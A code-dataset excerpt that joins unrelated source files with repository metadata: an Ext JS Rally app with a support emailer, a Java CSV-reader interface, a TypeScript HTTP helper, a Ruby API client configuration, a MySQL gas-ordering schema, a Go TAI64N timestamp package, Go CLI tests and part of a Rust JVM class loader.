PrallyColours_10: ['#0096DB', '#004A9D', '#FF3C00', '#FF8D00', '#FFDC00', '#6F7376', '#FFF', '#FF0069', '#41006E', '#00710C'],
// Barclays Colours
PbarclaysColours_5: ['#145FAC', '#437EA0', '#00AEEF', '#FFF', '#FFA000'],
// Bits we need
pInfoHtml: '',
pCardHtml: '',
pStoreData: '',
// Needs automating!
portfolioType: [
'PortfolioItem/BUStrategicObjectives',
'PortfolioItem/STPortfolioObjectives',
'PortfolioItem/PortfolioEpic',
'PortfolioItem/BusinessOutcome',
'PortfolioItem/Feature',
], // Portfolio Types
},
constructor: function (config) {
this.initConfig(config);
},
});
Ext.define('App.Emailer', {
_emailer: function (application_Output_Array, context_User, context_Project, context_Workspace) {
var string, subject;
subject = Ext.create('App.Config').pEmailSupportMessage;
string = '\r\n';
string += '\r\n';
string += '\r\n';
string += Ext.create('App.Config').pEmailerMessage;
string += '\r\n';
string += Ext.create('App.System')._this_Application_Details('email');
string += Ext.create('App.System')._user_Vars();
string += Ext.create('App.System')._user_Rally_Vars(context_User, context_Project, context_Workspace);
string += Ext.create('App.System')._this_Application_Output(application_Output_Array);
console.log(string);
string = encodeURIComponent(string);
window.location = 'mailto:' + Ext.create('App.Config').pEmailSupportAddress + '?subject=' + subject + '&body=' + string;
},
});
Ext.define('App.System', {
// Created by Richard Cook ::: Cookra Limited
// Barclaycard richard.cook@barclaycard.co.uk
// v4.8
// Updated 2017-03-08
_this_Application_Details: function (type) {
var Output;
var a = [];
a.push('> - - - - - - - - - - < Application Details');
a.push('> App Name : ' + 'Orphaned Items');
a.push('> App Version : ' + 'v4.1b');
a.push('> App Version Status : ' + 'beta');
a.push('> App Designer : ' + 'Richard Cook');
a.push('> App Description : ' + 'Custom Ext JS Application that displays orphaned artifacts');
a.push('> App Release Date : ' + '2017-03-13');
if(type==='email'){
output = Ext.create('App.Tools')._common_Array_Outputter(a);
}else if(type==='inapp'){
output = a;
}
return output;
},
_this_Application_Output: function (array) {
var a = [];
console.log('xxx ',array);
a.push('> - - - - - - - - - - < Application Output');
for (var i = 0; i < array.length; i++) {
a.push('> FormattedID : ' + array[i].raw.FormattedID + ' Name : ' + array[i].raw.Name + ' _Ref : ' + array[i].raw._ref);
}
array = undefined;
return Ext.create('App.Tools')._common_Array_Outputter(a);
},
_user_Vars: function () {
var a = [];
a.push('> - - - - - - - - - - < Local Details');
a.push('> Browser Web App Name : ' + navigator.appName);
a.push('> Browser User Agent : ' + navigator.userAgent);
a.push('> Browser Version : ' + navigator.appVersion);
a.push('> Browser Code Name : ' + navigator.appCodeName);
a.push('> Platform : ' + navigator.platform);
a.push('> OS CPU : ' + navigator.oscpu);
a.push('> Cookies : ' + navigator.cookieEnabled);
a.push('> Outer Width : ' + window.outerWidth);
a.push('> Outer Height : ' + window.outerHeight);
a.push('> Inner Width : ' + window.innerWidth);
a.push('> Inner Height : ' + window.innerHeight);
a.push('> Base URI : ' + document.getElementsByTagName('script')[0].baseURI);
a.push('> SRC : ' + document.getElementsByTagName('script')[0].src);
a.push('> LocalName : ' + document.getElementsByTagName('script')[0].localName);
a.push('> Type : ' + document.getElementsByTagName('script')[0].type);
return Ext.create('App.Tools')._common_Array_Outputter(a);
},
_user_Rally_Vars: function (context_User, context_Project, context_Workspace) {
var a = [];
a.push('> - - - - - - - - - - < User Details');
a.push('> AC User Username : ' + context_User.UserName);
a.push('> AC User Name : ' + context_User._refObjectName);
a.push('> AC User Role : ' + context_User.Role);
a.push('> AC Application Launched From Node : ' + context_Project._refObjectName);
a.push('> AC Application Workspace Name : ' + context_Workspace._refObjectName);
a.push('> AC Application Workspace Date/Time Format : ' + context_Workspace.WorkspaceConfiguration.DateFormat);
return Ext.create('App.Tools')._common_Array_Outputter(a);
},
});
Ext.define('App.Loader', {
_build: function (type) {
var output;
var colour_Array = Ext.create('App.Config').PrallyColours_10;
var colour_Norm = colour_Array[Math.floor((Math.random() * 10))];
var Colour_Dark = Ext.create('App.Tools')._shadeBlendConvert(colour_Norm, -30);
switch (type) {
case 'bar':
var html = 'style= "background-image: repeating-linear-gradient(-45deg,' + colour_Norm + ',' + colour_Norm + ' 11px,' + Colour_Dark + ' 10px,' + Colour_Dark + ' 20px")';
output = '<div class = "bar" ' + html + '></div>';
break;
case 'wave':
output = '<div class = "loader">Loading...</div>';
break;
}
return output;
}
});
Ext.define('App.Tools', {
_shadeBlendConvert: function (color, percent) {
var R = parseInt(color.substring(1, 3), 16);
var G = parseInt(color.substring(3, 5), 16);
var B = parseInt(color.substring(5, 7), 16);
R = parseInt(R * (100 + percent) / 100);
G = parseInt(G * (100 + percent) / 100);
B = parseInt(B * (100 + percent) / 100);
R = (R < 255) ? R : 255;
G = (G < 255) ? G : 255;
B = (B < 255) ? B : 255;
var RR = ((R.toString(16).length === 1) ? "0" + R.toString(16) : R.toString(16));
var GG = ((G.toString(16).length === 1) ? "0" + G.toString(16) : G.toString(16));
var BB = ((B.toString(16).length === 1) ? "0" + B.toString(16) : B.toString(16));
return "#" + RR + GG + BB;
},
_common_Array_Outputter: function (array) {
var character_Return = '\r\n';
var l = array.length;
var output = '';
var padSize = String(l).length;
for (var x = 0; x < l; x++) {
output += '[#' + this._number_Pad(x, padSize) + '] ' + array[x] + character_Return;
}
console.log(output);
array = undefined;
return output;
},
_number_Pad: function (num, size) {
return Array(Math.max(size - String(num).length + 1, 0)).join(0) + num;
}
});
Rally.launchApp('CustomApp', {
name:"Agile Central Viewport Template",
parentRepos:""
});
});
</script>
<style type="text/css">
.app {
/* Add app styles here */
}
.test {
background: #ff6600;
}
.fixTabMargins {
margin: 0;
padding: 0;
}
</style>
<style type="text/css">
/* Bar */
@keyframes move {
0% {
background-position: 0 0;
}
100% {
background-position: 28px 0;
}
}
.bar {
width: 100%;
height: 20px;
border: 1px solid #6B7CA4;
border-radius: 10px;
background-size: 28px 28px;
animation: move .5s linear infinite;
}
/* Bar 2 */
.loader,
.loader:before,
.loader:after {
background: #437EA0;
-webkit-animation: load1 1s infinite ease-in-out;
animation: load1 1s infinite ease-in-out;
width: 1em;
height: 4em;
}
.loader {
color: #437EA0;
text-indent: -9999em;
margin: 88px auto;
position: relative;
font-size: 11px;
-webkit-transform: translateZ(0);
-ms-transform: translateZ(0);
transform: translateZ(0);
-webkit-animation-delay: -0.16s;
animation-delay: -0.16s;
}
.loader:before,
.loader:after {
position: absolute;
top: 0;
content: '';
}
.loader:before {
left: -1.5em;
-webkit-animation-delay: -0.32s;
animation-delay: -0.32s;
}
.loader:after {
left: 1.5em;
}
@-webkit-keyframes load1 {
0%,
80%,
100% {
box-shadow: 0 0;
height: 4em;
}
40% {
box-shadow: 0 -2em;
height: 5em;
}
}
@keyframes load1 {
0%,
80%,
100% {
box-shadow: 0 0;
height: 4em;
}
40% {
box-shadow: 0 -2em;
height: 5em;
}
}
</style>
</head>
<body>
</body>
</html>
| 35.558106 | 216 | 0.435362 |
c7fc8a18d7052c16c3bc61afe9d0615cbc1043e2 | 2,635 | java | Java | net.solarnetwork.node.dao.jdbc/src/net/solarnetwork/node/dao/jdbc/JdbcPreparedStatementCsvReader.java | Tsvetelin98/Solar | 350341d4f6a32d53efd48778ee7a8ba89a591978 | [
"Apache-2.0"
] | null | null | null | net.solarnetwork.node.dao.jdbc/src/net/solarnetwork/node/dao/jdbc/JdbcPreparedStatementCsvReader.java | Tsvetelin98/Solar | 350341d4f6a32d53efd48778ee7a8ba89a591978 | [
"Apache-2.0"
] | null | null | null | net.solarnetwork.node.dao.jdbc/src/net/solarnetwork/node/dao/jdbc/JdbcPreparedStatementCsvReader.java | Tsvetelin98/Solar | 350341d4f6a32d53efd48778ee7a8ba89a591978 | [
"Apache-2.0"
] | null | null | null | /* ==================================================================
* JdbcPreparedStatementCsvReader.java - 6/10/2016 10:18:45 AM
*
* Copyright 2007-2016 SolarNetwork.net Dev Team
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
* 02111-1307 USA
* ==================================================================
*/
package net.solarnetwork.node.dao.jdbc;
import java.io.IOException;
import java.sql.PreparedStatement;
import java.sql.SQLException;
import java.util.Map;
import org.supercsv.cellprocessor.ift.CellProcessor;
import org.supercsv.io.ICsvReader;
/**
* Read a row of CSV data and set the values onto a {@link PreparedStatement}.
*
* @author matt
* @version 1.0
* @since 1.17
*/
public interface JdbcPreparedStatementCsvReader extends ICsvReader {
/**
* Reads a row of CSV data into columns on a {@link PreparedStatement}.
*
* @param stmt
* The statement to use.
* @param csvColumns
* The CSV column names with associated indicies. These must match
* the JDBC column names.
* @param cellProcessors
* An array of cell processors to handle each exported column. The
* length of the array should match the number and order of columns
* in the {@code csvColumns}. {@code null} values are permitted and
* indicate no processing should be performed on that column.
* @param columnMetaData
* The column names with associated metadata. The names should match
* the column names in the {@code PreparedStatement}.
* @return {@code true} if a row of CSV data was read and values set on the
* provided {@code PreparedStatement}.
* @throws SQLException
* If any SQL error occurs.
* @throws IOException
* If any IO error occurs.
*/
boolean read(PreparedStatement stmt, Map<String, Integer> csvColumns, CellProcessor[] cellProcessors,
Map<String, ColumnCsvMetaData> columnMetaData) throws SQLException, IOException;
}
| 38.75 | 102 | 0.67704 |
71be48596c17dab775d3dc9c4092707fcf1ea7fa | 1,762 | ts | TypeScript | core/clientLaya/game/src/shine/net/httpRequest/SimpleHttpRequest.ts | hw233/home3 | a15a63694918483b2e4853edab197b5cdddca560 | [
"Apache-2.0"
] | 8 | 2020-08-17T09:54:20.000Z | 2021-02-08T05:25:02.000Z | core/clientLaya/game/src/shine/net/httpRequest/SimpleHttpRequest.ts | shineTeam7/home3 | a15a63694918483b2e4853edab197b5cdddca560 | [
"Apache-2.0"
] | null | null | null | core/clientLaya/game/src/shine/net/httpRequest/SimpleHttpRequest.ts | shineTeam7/home3 | a15a63694918483b2e4853edab197b5cdddca560 | [
"Apache-2.0"
] | 5 | 2020-07-24T03:07:08.000Z | 2021-11-17T14:20:15.000Z | namespace Shine
{
export class SimpleHttpRequest extends BaseHttpRequest
{
private _completeFunc: Function;
private _errorFunc: Function;
private _postData: string;
private _resultData: string;
constructor()
{
super();
this._method = HttpMethodType.Get;
}
protected write(): void
{
this._postStream = new BytesWriteStream();
this._postStream.writeUTFBytes(this._postData);
}
protected read(): void
{
this._resultData = this._resultStream.readUFTBytes(this._resultStream.bytesAvailable());
}
protected onComplete(): void
{
if (this._completeFunc != null)
this._completeFunc(this._resultData);
}
protected onError(): void
{
if (this._errorFunc != null)
this._errorFunc();
}
public static create(): SimpleHttpRequest
{
return new SimpleHttpRequest();
}
/* http请求 */
public static httpRequest(url: string, method: number = HttpMethodType.Get, data: string = null, completeFunc: Function = null, errorFunc: Function = null): void
{
if (url.indexOf('?') == -1)
{
url += "?v=" + MathUtils.randomInt(1000000);
}
else
{
url += "&v=" + MathUtils.randomInt(1000000);
}
var request: SimpleHttpRequest = SimpleHttpRequest.create();
request._url = url;
request._method = method;
request._postData = data;
request._completeFunc = completeFunc;
request._errorFunc = errorFunc;
request.send();
}
}
} | 25.536232 | 168 | 0.546538 |
15ba21adc02d8067961bfcbfcafc37fff97c6bfb | 2,011 | rb | Ruby | lib/ngp_van/configuration.rb | jamesthacher/ngp_van | 30efb66fb8995adc9b311ad1818189f5451eff70 | [
"MIT"
] | 9 | 2017-06-28T19:51:51.000Z | 2020-09-10T02:19:39.000Z | lib/ngp_van/configuration.rb | jamesthacher/ngp_van | 30efb66fb8995adc9b311ad1818189f5451eff70 | [
"MIT"
] | 26 | 2018-05-01T16:07:07.000Z | 2021-09-28T19:56:54.000Z | lib/ngp_van/configuration.rb | jamesthacher/ngp_van | 30efb66fb8995adc9b311ad1818189f5451eff70 | [
"MIT"
] | 5 | 2018-04-30T23:49:03.000Z | 2020-11-25T20:14:36.000Z | # frozen_string_literal: true
require 'ngp_van/default'
require 'ngp_van/version'
module NgpVan
class Configuration
# The Application Name in the NGP VAN system. A short string that identifies
# your application (e.g., acmeCrmProduct)
#
# The `application_name` setting is used for authenticating requests.
#
# @return [String, nil]
attr_accessor :application_name
# The API Key acquired from NGP VAN. The API Key resembles the concatenation
# of a GUID, a | and a 0 or 1 (e.g.,
# bc7b6578-5619-4e8f-92ab-829208e1a511|1).
#
# The `api_key` setting is used for authenticating requests.
#
# @return [String, nil]
attr_accessor :api_key
# The API Endpoint url. Which endpoint you should use is determined by which
# VAN client with which you're working.
# @note See http://developers.ngpvan.com/van-api#van-endpoints
# @return [String]
attr_accessor :api_endpoint
# The User-Agent sent to the API endpoint. This defaults to the gem name,
# suffixed with the current version number.
# @return [String]
attr_accessor :user_agent
def initialize
setup
end
# Reset all configuration to default values.
# @return [NgpVan::Configuration]
def reset!
@application_name = NgpVan::Default.application_name
@api_key = NgpVan::Default.api_key
@api_endpoint = NgpVan::Default.api_endpoint
@user_agent = NgpVan::Default.user_agent
self
end
alias setup reset!
# Inspect the configuration object, masking private values.
# @return [String]
def inspect
inspected = super
if NgpVan.configuration.api_key
filter_value!(inspected, NgpVan.configuration.api_key)
end
if NgpVan.configuration.application_name
filter_value!(inspected, NgpVan.configuration.application_name)
end
inspected
end
private
def filter_value!(source, str)
source.gsub!(str, '[FILTERED]')
end
end
end
| 26.813333 | 80 | 0.682745 |
bce59419d269cd989e7c891696106e02ee483c32 | 5,254 | sql | SQL | SQL/gazguzzler.sql | alexkeramidas/Guzzlerproject | 0d04358b752c0cb7af6b8364108ae748b2071bc1 | [
"MIT"
] | null | null | null | SQL/gazguzzler.sql | alexkeramidas/Guzzlerproject | 0d04358b752c0cb7af6b8364108ae748b2071bc1 | [
"MIT"
] | null | null | null | SQL/gazguzzler.sql | alexkeramidas/Guzzlerproject | 0d04358b752c0cb7af6b8364108ae748b2071bc1 | [
"MIT"
] | null | null | null | -- MySQL Script generated by MySQL Workbench
-- 03/04/15 20:42:31
-- Model: New Model Version: 1.0
-- MySQL Workbench Forward Engineering
SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0;
SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0;
SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='TRADITIONAL,ALLOW_INVALID_DATES';
-- -----------------------------------------------------
-- Schema c9
-- -----------------------------------------------------
DROP SCHEMA IF EXISTS `c9` ;
-- -----------------------------------------------------
-- Schema c9
-- -----------------------------------------------------
CREATE SCHEMA IF NOT EXISTS `c9` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci ;
USE `c9` ;
-- -----------------------------------------------------
-- Table `c9`.`user`
-- -----------------------------------------------------
DROP TABLE IF EXISTS `c9`.`user` ;
CREATE TABLE IF NOT EXISTS `c9`.`user` (
`iduser` INT NOT NULL,
`username` VARCHAR(16) NOT NULL,
`email` VARCHAR(255) NOT NULL,
`password` VARCHAR(32) NOT NULL,
`create_time` TIMESTAMP NULL DEFAULT CURRENT_TIMESTAMP,
`name` VARCHAR(45) NULL,
`surname` VARCHAR(45) NULL,
`address` VARCHAR(50) NULL,
`phone` VARCHAR(10) NULL,
`latitude` DOUBLE NULL,
`longitude` DOUBLE NULL,
`type` TINYINT(1) NULL,
UNIQUE INDEX `username_UNIQUE` (`username` ASC),
UNIQUE INDEX `email_UNIQUE` (`email` ASC),
PRIMARY KEY (`iduser`),
UNIQUE INDEX `id_UNIQUE` (`iduser` ASC))
ENGINE = InnoDB
DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
-- -----------------------------------------------------
-- Table `c9`.`station`
-- -----------------------------------------------------
DROP TABLE IF EXISTS `c9`.`station` ;
CREATE TABLE IF NOT EXISTS `c9`.`station` (
`idstation` INT NOT NULL,
`name` VARCHAR(45) NOT NULL,
`address` VARCHAR(45) NOT NULL,
`phone` VARCHAR(10) NULL,
`latitude` FLOAT NULL,
`longitude` FLOAT NULL,
`user_iduser` INT NOT NULL,
PRIMARY KEY (`idstation`, `user_iduser`),
INDEX `fk_station_user1_idx` (`user_iduser` ASC),
CONSTRAINT `fk_station_user1`
FOREIGN KEY (`user_iduser`)
REFERENCES `c9`.`user` (`iduser`)
ON DELETE NO ACTION
ON UPDATE NO ACTION)
ENGINE = InnoDB
DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
-- -----------------------------------------------------
-- Table `c9`.`gas`
-- -----------------------------------------------------
DROP TABLE IF EXISTS `c9`.`gas` ;
CREATE TABLE IF NOT EXISTS `c9`.`gas` (
`idgas` INT NOT NULL,
`name` VARCHAR(45) NOT NULL,
PRIMARY KEY (`idgas`),
UNIQUE INDEX `name_UNIQUE` (`name` ASC))
ENGINE = InnoDB
DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
-- -----------------------------------------------------
-- Table `c9`.`order`
-- -----------------------------------------------------
DROP TABLE IF EXISTS `c9`.`order` ;
CREATE TABLE IF NOT EXISTS `c9`.`order` (
`idorder` INT NOT NULL,
`date` DATE NULL,
`delivery` DATE NULL,
`cost` FLOAT NULL,
`user_iduser` INT NOT NULL,
PRIMARY KEY (`idorder`, `user_iduser`),
INDEX `fk_order_user1_idx` (`user_iduser` ASC),
CONSTRAINT `fk_order_user1`
FOREIGN KEY (`user_iduser`)
REFERENCES `c9`.`user` (`iduser`)
ON DELETE NO ACTION
ON UPDATE NO ACTION)
ENGINE = InnoDB
DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
-- -----------------------------------------------------
-- Table `c9`.`station_has_gas`
-- -----------------------------------------------------
DROP TABLE IF EXISTS `c9`.`station_has_gas` ;
CREATE TABLE IF NOT EXISTS `c9`.`station_has_gas` (
`station_idstation` INT NOT NULL,
`gas_idgas` INT NOT NULL,
`price` FLOAT NULL,
PRIMARY KEY (`station_idstation`, `gas_idgas`),
INDEX `fk_station_has_gas_gas1_idx` (`gas_idgas` ASC),
INDEX `fk_station_has_gas_station1_idx` (`station_idstation` ASC),
CONSTRAINT `fk_station_has_gas_station1`
FOREIGN KEY (`station_idstation`)
REFERENCES `c9`.`station` (`idstation`)
ON DELETE NO ACTION
ON UPDATE NO ACTION,
CONSTRAINT `fk_station_has_gas_gas1`
FOREIGN KEY (`gas_idgas`)
REFERENCES `c9`.`gas` (`idgas`)
ON DELETE NO ACTION
ON UPDATE NO ACTION)
ENGINE = InnoDB
DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
-- -----------------------------------------------------
-- Table `c9`.`order_has_gas`
-- -----------------------------------------------------
DROP TABLE IF EXISTS `c9`.`order_has_gas` ;
CREATE TABLE IF NOT EXISTS `c9`.`order_has_gas` (
`order_idorder` INT NOT NULL,
`gas_idgas` INT NOT NULL,
`liters` INT NULL,
PRIMARY KEY (`order_idorder`, `gas_idgas`),
INDEX `fk_order_has_gas_gas1_idx` (`gas_idgas` ASC),
INDEX `fk_order_has_gas_order1_idx` (`order_idorder` ASC),
CONSTRAINT `fk_order_has_gas_order1`
FOREIGN KEY (`order_idorder`)
REFERENCES `c9`.`order` (`idorder`)
ON DELETE NO ACTION
ON UPDATE NO ACTION,
CONSTRAINT `fk_order_has_gas_gas1`
FOREIGN KEY (`gas_idgas`)
REFERENCES `c9`.`gas` (`idgas`)
ON DELETE NO ACTION
ON UPDATE NO ACTION)
ENGINE = InnoDB
DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
SET SQL_MODE=@OLD_SQL_MODE;
SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS;
SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS;
| 31.27381 | 85 | 0.586791 |
fb32d0c6c89d8bde2acf0b42bb413f05db1c207d | 659 | go | Go | tai64n/tai64n.go | dshynkev/wireguard-go | da9d300cf8b50d1cf629b7fa4423d122a74a6871 | [
"MIT"
] | null | null | null | tai64n/tai64n.go | dshynkev/wireguard-go | da9d300cf8b50d1cf629b7fa4423d122a74a6871 | [
"MIT"
] | null | null | null | tai64n/tai64n.go | dshynkev/wireguard-go | da9d300cf8b50d1cf629b7fa4423d122a74a6871 | [
"MIT"
] | null | null | null | /* SPDX-License-Identifier: MIT
*
* Copyright (C) 2017-2020 WireGuard LLC. All Rights Reserved.
*/
package tai64n
import (
"bytes"
"encoding/binary"
"time"
)
const TimestampSize = 12
const base = uint64(0x400000000000000a)
const whitenerMask = uint32(0x1000000 - 1)
type Timestamp [TimestampSize]byte
func Now() Timestamp {
var tai64n Timestamp
now := time.Now()
secs := base + uint64(now.Unix())
nano := uint32(now.Nanosecond()) &^ whitenerMask
binary.BigEndian.PutUint64(tai64n[:], secs)
binary.BigEndian.PutUint32(tai64n[8:], nano)
return tai64n
}
func (t1 Timestamp) After(t2 Timestamp) bool {
return bytes.Compare(t1[:], t2[:]) > 0
}
| 19.969697 | 62 | 0.710167 |
fb41d767ec9ac3a14599e66a987d942e1f329cc5 | 7,243 | go | Go | main_test.go | andrzejressel/ResumeFodder | d9a0dafec775c1a2cbce451703b63b7d36e9306b | [
"MIT"
] | 1 | 2021-11-25T13:29:43.000Z | 2021-11-25T13:29:43.000Z | main_test.go | andrzejressel/ResumeFodder | d9a0dafec775c1a2cbce451703b63b7d36e9306b | [
"MIT"
] | null | null | null | main_test.go | andrzejressel/ResumeFodder | d9a0dafec775c1a2cbce451703b63b7d36e9306b | [
"MIT"
] | null | null | null | package main
import (
"errors"
"os"
"path/filepath"
"testing"
"github.com/andrzejressel/ResumeFodder/command"
"github.com/andrzejressel/ResumeFodder/data"
"github.com/andrzejressel/ResumeFodder/testutils"
)
func TestNoArgs(t *testing.T) {
_, _, err := ParseArgs([]string{"resume.exe"})
if err == nil || err.Error() != "No command was specified." {
t.Fatalf("err should be [No command was specified.], found [%s]\n", err)
}
}
func TestInit_NoArg(t *testing.T) {
command, args, err := ParseArgs([]string{"resume.exe", "init"})
if command != "init" {
t.Fatalf("command should be [init], found [%s]\n", command)
}
if len(args) != 1 || args[0] != "resume.json" {
t.Fatalf("args should be [resume.json], found %s\n", args)
}
if err != nil {
t.Fatalf("err should be nil, found [%s]\n", err)
}
}
func TestInit_InvalidFilename(t *testing.T) {
_, _, err := ParseArgs([]string{"resume.exe", "init", "bad_extension.foo"})
if err == nil || err.Error() != "Filename to initialize must have a '.json' or '.xml' extension." {
t.Fatalf("err should be [Filename to initialize must have a '.json' or '.xml' extension.], found [%s]\n", err)
}
}
func TestInit_Valid(t *testing.T) {
command, args, err := ParseArgs([]string{"resume.exe", "init", "resume.xml"})
if command != "init" {
t.Fatalf("command should be [init], found [%s]\n", command)
}
if len(args) != 1 || args[0] != "resume.xml" {
t.Fatalf("args should be [resume.xml], found %s\n", args)
}
if err != nil {
t.Fatalf("err should be nil, found [%s]\n", err)
}
}
func TestConvert_NoArgs(t *testing.T) {
_, _, err := ParseArgs([]string{"resume.exe", "convert"})
if err == nil || err.Error() != "You must specify input and output filenames (e.g. \"ResumeFodder.exe convert resume.json resume.xml\")" {
t.Fatalf("err should be [You must specify input and output filenames (e.g. \"ResumeFodder.exe convert resume.json resume.xml\")], found [%s]\n", err)
}
}
func TestConvert_InvalidFilename(t *testing.T) {
// Source and target must be XML or JSON
_, _, err := ParseArgs([]string{"resume.exe", "convert", "bad_extension.foo", "resume.json"})
if err == nil || err.Error() != "Source file must have a '.json' or '.xml' extension." {
t.Fatalf("err should be [Source file must have a '.json' or '.xml' extension.], found [%s]\n", err)
}
_, _, err = ParseArgs([]string{"resume.exe", "convert", "resume.xml", "bad_extension.foo"})
if err == nil || err.Error() != "Target file must have a '.json' or '.xml' extension." {
t.Fatalf("err should be [Target file must have a '.json' or '.xml' extension.], found [%s]\n", err)
}
// Conversion from one format must be to the other
_, _, err = ParseArgs([]string{"resume.exe", "convert", "resume.xml", "copy.xml"})
if err == nil || err.Error() != "When converting an XML source file, the target filename must have a '.json' extension" {
t.Fatalf("err should be [When converting an XML source file, the target filename must have a '.json' extension], found [%s]\n", err)
}
_, _, err = ParseArgs([]string{"resume.exe", "convert", "resume.json", "copy.json"})
if err == nil || err.Error() != "When converting a JSON source file, the target filename must have an '.xml' extension" {
t.Fatalf("err should be [When converting a JSON source file, the target filename must have an '.xml' extension], found [%s]\n", err)
}
}
func TestConvert_Valid(t *testing.T) {
command, args, err := ParseArgs([]string{"resume.exe", "convert", "resume.xml", "resume.json"})
if command != "convert" {
t.Fatalf("command should be [convert], found [%s]\n", command)
}
if len(args) != 2 || args[0] != "resume.xml" || args[1] != "resume.json" {
t.Fatalf("args should be [resume.xml resume.json], found %s\n", args)
}
if err != nil {
t.Fatalf("err should be nil, found [%s]\n", err)
}
}
func TestExport_NoArg(t *testing.T) {
_, _, err := ParseArgs([]string{"resume.exe", "export"})
if err == nil || err.Error() != "You must specify input and output filenames (e.g. \"ResumeFodder.exe export resume.json resume.doc\"), and optionally a template name." {
t.Fatalf("err should be [You must specify input and output filenames (e.g. \"ResumeFodder.exe export resume.json resume.doc\"), and optionally a template name.], found [%s]\n", err)
}
}
func TestExport_InvalidSourceFilename(t *testing.T) {
// Source must be XML or JSON
_, _, err := ParseArgs([]string{"resume.exe", "export", "bad_extension.foo", "resume.doc"})
if err == nil || err.Error() != "Source file must have a '.json' or '.xml' extension." {
t.Fatalf("err should be [Source file must have a '.json' or '.xml' extension.], found [%s]\n", err)
}
}
func TestExport_InvalidTargetFilename(t *testing.T) {
// Target must be DOC or XML
_, _, err := ParseArgs([]string{"resume.exe", "export", "resume.xml", "bad_extension.foo"})
if err == nil || err.Error() != "Target file must have a '.doc' or '.xml' extension." {
t.Fatalf("err should be [Target file must have a '.doc' or '.xml' extension.], found [%s]\n", err)
}
}
func TestExport_InvalidTemplateFilename(t *testing.T) {
// Template must be DOC or XML
_, _, err := ParseArgs([]string{"resume.exe", "export", "resume.xml", "resume.doc", "templates/bad_extension.foo"})
if err == nil || err.Error() != "Template file must have a '.doc' or '.xml' extension." {
t.Fatalf("err should be [Template file must have a '.doc' or '.xml' extension.], found [%s]\n", err)
}
}
func TestExport_NoTemplateFilename(t *testing.T) {
_, args, err := ParseArgs([]string{"resume.exe", "export", "resume.xml", "resume.doc"})
if err != nil {
t.Fatal(err)
}
if args[2] != "standard.xml" {
t.Fatal(errors.New("When no template file is specified, the default value of \"standard.xml\" should be used"))
}
}
func TestExport_Valid(t *testing.T) {
command, args, err := ParseArgs([]string{"resume.exe", "export", "resume.xml", "resume.doc", "templates/default.xml"})
if command != "export" {
t.Fatalf("command should be [export], found [%s]\n", command)
}
if len(args) != 3 || args[0] != "resume.xml" || args[1] != "resume.doc" || args[2] != "templates/default.xml" {
t.Fatalf("args should be [resume.xml resume.json templates/default.xml], found %s\n", args)
}
if err != nil {
t.Fatalf("err should be nil, found [%s]\n", err)
}
}
// Tests that when the export command can't find a template at the specified location, that the command will try
// prepending that with the "templates" directory. This test logically belongs in the "command/command_test.go" test
// file within the base "ResumeFodder" project, but instead lives here because it requires the current working
// directory to be the project root.
func TestExportResumeFile_TemplateDefaultPath(t *testing.T) {
xmlFilename := filepath.Join(os.TempDir(), "testresume.xml")
testutils.DeleteFileIfExists(t, xmlFilename)
defer testutils.DeleteFileIfExists(t, xmlFilename)
resumeData := testutils.GenerateTestResumeData()
err := data.ToXmlFile(resumeData, xmlFilename)
if err != nil {
t.Fatal(err)
}
outputFilename := filepath.Join(os.TempDir(), "resume.doc")
templateFilename := "standard.xml"
err = command.ExportResumeFile(xmlFilename, outputFilename, templateFilename)
if err != nil {
t.Fatal(err)
}
}
| 42.110465 | 183 | 0.666022 |
ad17f74b5345e3ba17a7cba5f5fcf91f8b17dcf8 | 6,254 | rs | Rust | rhojvm/src/eval/internal_repl/system_class_loader.rs | MinusGix/RhoJVM | 8238f01a61775b218fb0ed17ae03a9710d926212 | [
"MIT"
] | null | null | null | rhojvm/src/eval/internal_repl/system_class_loader.rs | MinusGix/RhoJVM | 8238f01a61775b218fb0ed17ae03a9710d926212 | [
"MIT"
] | null | null | null | rhojvm/src/eval/internal_repl/system_class_loader.rs | MinusGix/RhoJVM | 8238f01a61775b218fb0ed17ae03a9710d926212 | [
"MIT"
] | null | null | null | use classfile_parser::field_info::FieldAccessFlags;
use either::Either;
use rhojvm_base::{
code::method::{DescriptorType, DescriptorTypeBasic, MethodDescriptor},
data::class_file_loader::Resource::Buffer,
};
use crate::{
class_instance::{ClassInstance, Fields},
eval::{eval_method, instances::make_fields, EvalMethodValue, Frame, Locals, ValueException},
initialize_class,
jni::{JClass, JObject, JString},
rv::RuntimeValue,
util::{construct_byte_array_input_stream, get_string_contents_as_rust_string, Env},
};
pub(crate) extern "C" fn system_class_loader_init(env: *mut Env<'_>, _this: JObject) -> JObject {
assert!(!env.is_null(), "Env was null. Internal bug?");
let env = unsafe { &mut *env };
let scl_id = env.class_names.gcid_from_bytes(b"rho/SystemClassLoader");
// We're probably in this already.
let scl_ref = initialize_class(env, scl_id).unwrap().into_value();
let scl_ref = match scl_ref {
ValueException::Value(re) => re,
ValueException::Exception(_) => {
todo!("There was an exception when initializing the System ClassLoader class")
}
};
let fields = match make_fields(env, scl_id, |field_info| {
!field_info.access_flags.contains(FieldAccessFlags::STATIC)
})
.unwrap()
{
Either::Left(fields) => fields,
Either::Right(_) => {
todo!("There was an exception when initializing the System ClassLoader's fields")
}
};
let inst = ClassInstance {
instanceof: scl_id,
static_ref: scl_ref,
fields,
};
